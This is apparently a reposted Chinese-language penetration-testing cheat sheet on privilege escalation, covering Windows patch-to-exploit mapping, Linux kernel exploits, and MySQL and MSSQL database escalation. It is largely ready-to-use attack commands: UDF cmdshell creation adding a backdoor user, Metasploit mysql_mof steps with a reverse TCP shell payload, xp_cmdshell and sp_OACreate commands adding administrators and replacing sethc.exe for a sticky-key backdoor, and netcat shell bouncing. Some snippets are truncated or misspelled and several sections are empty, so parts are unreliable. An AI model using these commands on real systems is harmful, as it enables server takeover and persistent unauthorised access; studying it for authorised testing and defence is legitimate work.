滲透測試——提權方式總結
(內容整理自網路)
一、 什麼是提權
提權就是通過各種辦法和漏洞,提高自己在伺服器中的許可權,以便控制全域性。
Windows:User >> System
Linux:User >> Root
二、怎樣進行提權(提權的方式有哪些)
1.、系統漏洞提權(Linux、Windows)
2、資料庫提權
3、系統配置錯誤提權
4、許可權繼承類提權
5、第三方軟體/服務提權
6、WebServer漏洞提權
1、系統漏洞提權
系統漏洞提權一般就是利用系統自身缺陷,用來提升許可權。為了使用方便,windows和linux系統均有提權用的可執行檔案。
Windows的提權exp一般格式為MS08067.exe;
Linux的提權exp一般格式為2.6.18-194或2.6.18.c。
(1)Windows提權
1.1> 漏洞編號命名格式
Windows系統漏洞編號命名格式為:MS08067
其中:MS是Micosoft的縮寫,固定格式;08 表示年份,即2008年釋出的漏洞;067 表示順序,即當年度釋出的第67個漏洞。
1.2> 使用exp提權
在日常滲透測試過程中,我們常常會先是拿到webshell再進行提權。所以提權指令碼也常常會被在webshell中執行使用。
那麼我們如何知道使用哪個exp來提權呢?
我們可以使用systeminfo命令或者檢視補丁目錄,檢視補丁記錄,來判斷有哪個補丁沒打,然後使用相對應的exp進行提權。
KB2645640 MS12-009
KB2641653 MS12-018
KB952004 MS09-012 Pr.exe
KB956572 MS09-012 巴西烤肉
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011 ms11011.exe
KB942831 MS08-005
KB2503665 MS11-046 ms11046.exe
KB2592799 MS11-080 ms11080.exe
(2)Linux系統提權
Linux系統漏洞的exp一般按照核心版本來命名:2.6.18-194或2.6.18.c
形如2.6.18-194,可以直接執行;形如2.6.18.c,需要編譯後執行,提權。當然也有少部分exp是按照發行版版本命名。
使用exp
- 一般情況下linux的本地提權要用nc反彈出來,因為Linux下提升許可權後得到的是互動式shell,需反彈才能進行下一步命令的執行。
- 我們可以使用uname -a命令或者cat /proc/version,來判斷系統的核心情況等等,然後使用相對應的exp進行提權。
注:
- 提權過程中需要為你的提權exp賦權,chmod。
- linux伺服器很多情況下管理員會設定目錄許可權,我們無法修改,但是一般/tmp/目錄不會被設定許可權,這和windows下的tmp和回收站是一個道理,所以我們可以將exp存放到/tmp目錄下。
2、資料庫提權
資料庫提權是指:通過執行資料庫語句、資料庫函式等方式提升伺服器使用者的許可權。
首先我們要先有能力登入資料庫,所以通常我們拿到webshell之後要去網站目錄去找資料庫連線檔案,常在形如xxx.conf或conf.xxx檔案中。
(1)MySQL資料庫提權
MySQL資料庫一般是使用udf(使用者自定義函式)提權或mof(託管物件格式)提權。
1.1> udf提權(使用者自定義函式)
條件:
1、系統版本(Windows2000,XP,Win2003);
2、擁有MYSQL的某個賬號,且該賬號具有對msql的insert與delete許可權;
3、具有root賬號密碼。
使用方法:
1、獲取當前mysql的一個資料庫連線資訊,通常包含地址、埠、賬號、密碼、庫名等五個資訊。
2、把udf專用的webshell傳到伺服器上,訪問並進行資料庫連線。
3、連線成功後,匯出DLL檔案。
注:
- Mysql<5.0,匯出路徑隨意;
- 5.0<=mysql<5.1,則需要匯出至目標伺服器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;
- mysql>5.1,需要匯出dll到外掛路徑,例如:D:\Program Files\MySQL\MySQL Server 5.1.3\lib\plugin
- 若mysql>=5.0,語句中的DLL不允許帶全路徑,如果在第二步中已將DLL匯出到系統目錄,那麼你就可以省略路徑而使命令正常執行,否則將會看到”Can’t open shared library“錯誤。
- 如果提示“Function ‘cmdshell’ already exists”,則輸入下列語句可以解決:drop function cmdshell;
4、使用SQL語句建立自定義函式。語法如下:
Create Function 函式名 returns string soname '匯出的DLL路徑';
eg: Create Function cmdshell returns string soname 'udf.dll';功能函式說明:
- cmdshell 執行cmd;
- downloader 下載者,到網上下載指定檔案並儲存到指定目錄;
- open3389 通用開3389終端服務,可指定埠(不改埠無需重啟);
- backshell 反彈Shell;
- ProcessView 列舉系統程式;
- KillProcess 終止指定程式;
- regread 讀登錄檔;
- regwrite 寫登錄檔;
- shut 關機,登出,重啟;
- about 說明與幫助函式;
5、建立函式成功後,就可以通過sql語句呼叫它了。
語法如下:
select 建立的函式名 ('引數列表');
eg: select cmdshell("net user nsfocus Nsf0cus /add");建立一個使用者nsfocus,密碼為Nsf0cus
6、函式使用完後,我們需要把之前生成的DLL和建立的函式刪除掉,但要注意次序,必須先刪除函式再刪除DLL。
刪除函式的語法如下:
drop function 建立的函式名;
eg: drop function cmdshell;
整體思路:
- 匯出C:\windows\udf.dll
- Create Function cmdshell returns string soname 'udf.dll';
- select cmdshell('whoami')
- drop function cmdshell
1.2> Mof提權(託管物件格式)
提權c:/windows/system32/wbem/mof/
- use exploit/windows/mysql/mysql_mof
- set password xxx
- set username xxx
- set rhost xxx
- set rport xxx
- set payload windows/shell_reverse_tcp
- set lhost xxx
- set lport xxx
- exploit
(2)Mssql資料庫提權
Mssql資料庫提權總結
在SA許可權下
- 存在xp_cmdshell時
使用xp_cmdshell執行命令新增使用者,當出現錯誤可以恢復和開啟xp_cmdshell- xp_cmdshell無法使用時
使用sp_OACreate執行命令,同樣當出現錯誤可以恢復和開啟- 當執行命令無法使用時可以用沙盒提權 (使用xp_regwrite和openrowset)
- 當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe)
使用xp_regwrite修改登錄檔
DBA許可權下
- 備份到網站目錄
- 通過備份檔案到啟動項提權
2.1> SA口令獲取方法
2.1.1 Webshell或原始碼獲取
一般在網站的配置檔案中有存放明文賬號密碼,常用配置檔名如:
conn.aspx
config.aspx
config.php
web.config
.........一般格式如:
server=localhost;
UID=sa;
PWD=shadowflow
2.1.2原始碼洩露
網站原始碼洩露情況主要以程式設計師上傳程式碼到git等開源平臺或更新程式碼時未刪除備份檔案(.svn、.git、.bak),以及運維人員打包原始碼到網站伺服器(www.rar等)。
2.1.3嗅探
在區域網中使用cain等工具進行arp嗅探的時候可以抓取到1433埠的資料庫明文登入密碼
2.1.4口令暴力破解
利用mssql暴力破解工具對mssql進行暴力破解,一旦成功將獲得sa相應許可權
2.2> 常用SQL Server提權語句
檢視資料庫版本:select @@version
檢視資料庫系統引數:exec master..xp_msver;
檢視使用者所屬角色資訊:sp_helpsrvrolemember
檢視當前資料庫:select db_name()
顯示機器上的驅動器:xp_availablemedia
檢視當前賬戶許可權
select IS_SRVROLEMEMBER('sysadmin') #判斷是否為sa許可權
類似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin
select IS_MEMBER('db_owner') #判斷是否為dbo許可權
新增使用者
exec master.dbo.sp_addlogin test,password #新增使用者
exec master.dbo.sp_addsrvrolemember test,sysadmin #加許可權
啟動停止服務
exec master..xp_servicecontrol 'stop','test'
exec master..xp_servicecontrol 'start','test'
檢查功能
SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'
xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc
xp_cmdshell
1、開啟xp_cmdshell儲存過程
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'xp_cmdshell',1;RECONFIGURE;2、關閉xp_cmdshell儲存過程
exec sp_configure 'show advanced options', 1, RECONFIGURE;
exec sp_configure 'xp_cmdshell',0;RECONFIGURE;3、xp_cmdshell執行命令
exec master..xp_cmdshell 'ver'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'4、恢復xp_cmdshell
exec sp_dropextendedproc 'xp_cmdshell'
dbcc addextendedproc ("xp_cmdshell","xplog70.dll) OR dbcc addextendedproc ("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");EXEC sp_configure 'show advanced options', 0 --
sp_OACreate
1、開啟sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;2、關閉sp_OACreate
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;3、禁用advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;4、sp_OACreate執行命令
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'5、sp_OACreate移動檔案
declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';6、sp_OACreate複製檔案
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
7、sp_OACreate刪除檔案
DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 選單\程式\啟動\user.bat'
EXEC @Result = sp_OADestrop @FSO_Token
8、wscript.shell執行命令
9、Shell.Application執行命令
10、sp_oacreate 替換貼上鍵
沙盒執行命令
openrowset開啟
openrowset關閉
沙盒執行命令
登錄檔篡改
登錄檔劫持貼上鍵
3、系統配置不當提權
利用配置不當提權
- 前提:已經成功滲透進目標系統;
- 相比利用漏洞提權,是更常用的方法;
- 在大部分企業中,會將系統的漏洞即時進行補丁更新,難以通過系統自身我的漏洞進行入侵;
- 可以查詢系統中以system許可權啟動的服務或應用,可以嘗試將其替換或者反彈shell的方式提權;
- 可以查詢NTFS許可權允許users修改刪除的應用,利用配置不當進行提權;
- 程式碼中是否有過濾引數的操作等都可以加以利用,進行提取;
4、許可權繼承類提權
開機啟動項提權?
windows開機時候都會有一些開機啟動的程式,那時候啟動的程式許可權都是system,因為是system把他們啟動的,利用這點,我們可以將自動化指令碼寫入啟動項,達到提權的目的。
5、第三方軟體/服務提權
6、WebServer漏洞提權
相關文章
- 滲透測試技巧總結
- 滲透測試常用術語總結
- 什麼是滲透測試?滲透測試分類方式有哪些?
- 什麼是滲透測試?滲透測試的服務方式有哪些?
- 網站安全滲透測試公司心得總結網站
- 滲透之——資料庫提權資料庫
- 滲透測試-許可權維持
- 17、內網滲透測試定位技術總結內網
- 為什麼滲透測試很重要?滲透測試的服務方式有幾種?
- Mysql滲透及提權,命令執行MySql
- 記一次授權滲透測試
- 【乾貨集】超全的滲透測試面試題總結!面試題
- 滲透測試會用到哪些工具?滲透測試教程
- Windows提權方式彙總Windows
- 總結一些滲透測試中資訊收集思路
- 滲透測試之小白的常見web漏洞總結(下)Web
- 滲透測試之小白的常見web漏洞總結(上)Web
- Linux滲透測試Linux
- 什麼是滲透測試?為什麼要做滲透測試?
- Windows提權總結Windows
- 無線滲透總結
- 什麼是滲透測試?滲透測試分為哪幾類?
- 滲透測試怎麼做?滲透測試的步驟有哪些?
- 你真的瞭解“滲透測試”嗎?滲透測試有何作用?
- 滲透測試報告測試報告
- 滲透測試之nmap
- 【滲透測試】Vulnhub DarkHole
- 滲透測試什麼?滲透測試具體操作流程是什麼
- 網路安全滲透測試的型別!滲透測試入門教程型別
- 什麼是滲透測試?滲透測試培訓班如何選擇?
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- 【彙總】網路安全滲透測試常見面試題!面試題
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- 滲透測試是什麼?滲透測試三種分類主要包括哪些?
- 【Vulnhub靶機滲透測試】之DC-4(teehee命令提權(在passwd或crontab中追加內容))
- 滲透測試公司 對於越權漏洞的檢測與修復
- 網路安全滲透測試
- 滲透測試-資訊收集